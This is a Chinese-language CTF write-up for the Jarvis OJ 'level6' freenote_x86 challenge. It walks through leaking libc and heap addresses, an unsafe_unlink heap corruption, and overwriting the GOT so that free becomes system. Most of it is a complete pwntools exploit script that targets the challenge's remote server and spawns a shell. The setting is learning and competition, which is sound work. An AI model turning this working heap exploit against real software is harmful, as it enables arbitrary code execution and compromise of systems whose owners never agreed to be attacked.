jarvis oj level6
原来的附件有点问题,重新发过了.
主要用了两个技术:1.溢出泄露libc地址，heap地址.2.unsafe_unlink,这个how2pwn上unsafe_unlink.c里写的很清楚.
首先看泄露libc地址
New("A"*0x80)#0
New("B"*0x80)#1
Delete(0)
New("123")
List()
c=p.recvuntil('AAAA')
leak_addr=u32(c[-8:-4])
print hex(leak_addr)
offset=0x1ad450//各个版本libc可能不同
libc_addr=leak_addr-offset
首先malloc两个smallchunk.因为chunk0是第一块smallchunk,fd和bk都指向main_arena中的特定值.
| free前 | free chunk0后 | 再malloc |
|---|---|---|
| pre | pre | pre |
| size | size | size |
| AAAA… | fd | 123 |
| AAAA… | bk | bk |
| … | ||
| pre | pre | pre |
| size | size | size |
| BBBB… | BBBB… | BBBB… |
| BBBB… | BBBB… | BBBB… |
在本地调试,gdb freenote_x86,如上操作,ctrl+c暂停,查看内存,堆处如下:
0xf7fbe450指向main_arena中某个值,然后vmmap查看加载地址
libc加载的起始地址是0xf7e11000,计算下两者偏差0x1ad450,这个值和服务器上相同,都是泄露地址相对libc起始位置的相对偏移.
然后看泄露堆地址
New("C"*0x80)#2
New("D"*0x80)#3
Delete(0)
Delete(2)
New('000')
List()
d=p.recvuntil('AAAA')
chunk2_addr=u32(d[-8:-4])
heap_addr=chunk2_addr-0xd28 ##固定值,是第一块分配的chunk距heap头的偏移
print hex(heap_addr)
pointer2chunk0=heap_addr+0x18
先再创建两个smallchunk,然后删除0和2,因为当两个不相邻的chunk被free掉时，会形成链表，这时chunk的fd和bk中存有chunk的地址信息如下:
这里bk是指向chunk2,为0x0804bd28.分配chunk是从距堆底0xc28开始,是固定的,chunk2距chunk00x100,因此
heap_addr=chunk2_addr-0xc28-0x100.
为什么要泄露堆地址是因为unlink需要指向chunk的指针,而指针保存在堆起始位置,它维护指向各chunk的指针.
然后进行unlink
首先全部删除块.关于unlink我在传送门写了.再本地看下指向chunk0的指针保存在距堆首0x18:
.
按照之前的学习笔记,构造payload:
payload = p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload = payload.ljust(0x80,'a')
payload += p32(0x80)+p32(0x80)
payload = payload.ljust(0x80*2,'a')
New(len(payload),payload)
Delete(1)
此时heap_base+0x18处的指针已指向heap_base+0x18-12,然后构造payload2,利用edit修改heap头:
经过看内存,大概了解了,0x804b00c处是有几块使用中,然后每12个字节对应一块chunk:前4个字节,0代表free了,1代表使用中;中间4个,是chunk数据字段的大小;最后4个是块地址.
最后劫持got表
修改got表,把free的地址修改为system地址,然后把"bin/sh"传入chunk1处,此时执行free(1)就相当于system("/bin/sh")
脚本如下:
from pwn import *
context.log_level='DEBUG'
e=ELF('libc-2.19.so')
local=0
if local:
p=process("./freenote_x86")
else:
p=remote('pwn2.jarvisoj.com', 9885)
def New(content):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Length of new note: ")
p.sendline(str(len(content)))
p.recvuntil("Enter your note: ")
p.sendline(content)
p.recvuntil("Done.")
def List():
p.recvuntil("Your choice: ")
p.sendline("1")
def Edit(index,content):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(index))
p.recvuntil('Length of note: ')
p.sendline(str(len(content)))
p.recvuntil('Enter your note: ')
p.sendline(content)
p.recvuntil("Done.")
def Delete(index):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Note number: ")
p.sendline(str(index))
###########################leak libc address
New("A"*0x80)#0
New("B"*0x80)#1
Delete(0)
New("123")
List()
c=p.recvuntil('AAAA')
leak_addr=u32(c[-8:-4])
print hex(leak_addr)
offset=0x1ad450##local tested main2libc
libc_addr=leak_addr-offset
sys_addr=e.symbols['system']+libc_addr
print hex(sys_addr)
###############################leak heap address
New("C"*0x80)#2
New("D"*0x80)#3
Delete(0)
Delete(2)
New('000')
List()
d=p.recvuntil('AAAA')
chunk2_addr=u32(d[-8:-4])
heap_addr=chunk2_addr-0xd28
print "heap_addr:"+hex(heap_addr)
pointer2chunk0=heap_addr+0x18
########################################unlink
Delete(0)
Delete(1)
Delete(3)
elf=ELF('./freenote_x86')
payload = p32(0)+p32(0x81)+p32(pointer2chunk0-12)+p32(pointer2chunk0-8)
payload = payload.ljust(0x80,'\x00')
payload += p32(0x80)+p32(0x80)
payload = payload.ljust(0x80*2,'\x00')
New(payload)
sleep(0.2)
Delete(1)
##################################hijack got
payload2 = p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_addr+0xca8)
payload2 = payload2.ljust(0x80*2,'\x00')
Edit(0 ,payload2)
Edit(0, p32(sys_addr))
Edit(1, '/bin/sh\x00')
print 'system address:%x'%sys_addr
###################################call system("/bin/sh")
Delete(1)
p.interactive()
经过这段时间的学习,深感基础不扎实,暂时放下jarvis,去系统学习一下pwn.发现一个讲的很全面的网站,ctf-wiki,里面不光包括pwn,是中文.我会记笔记在博客里的.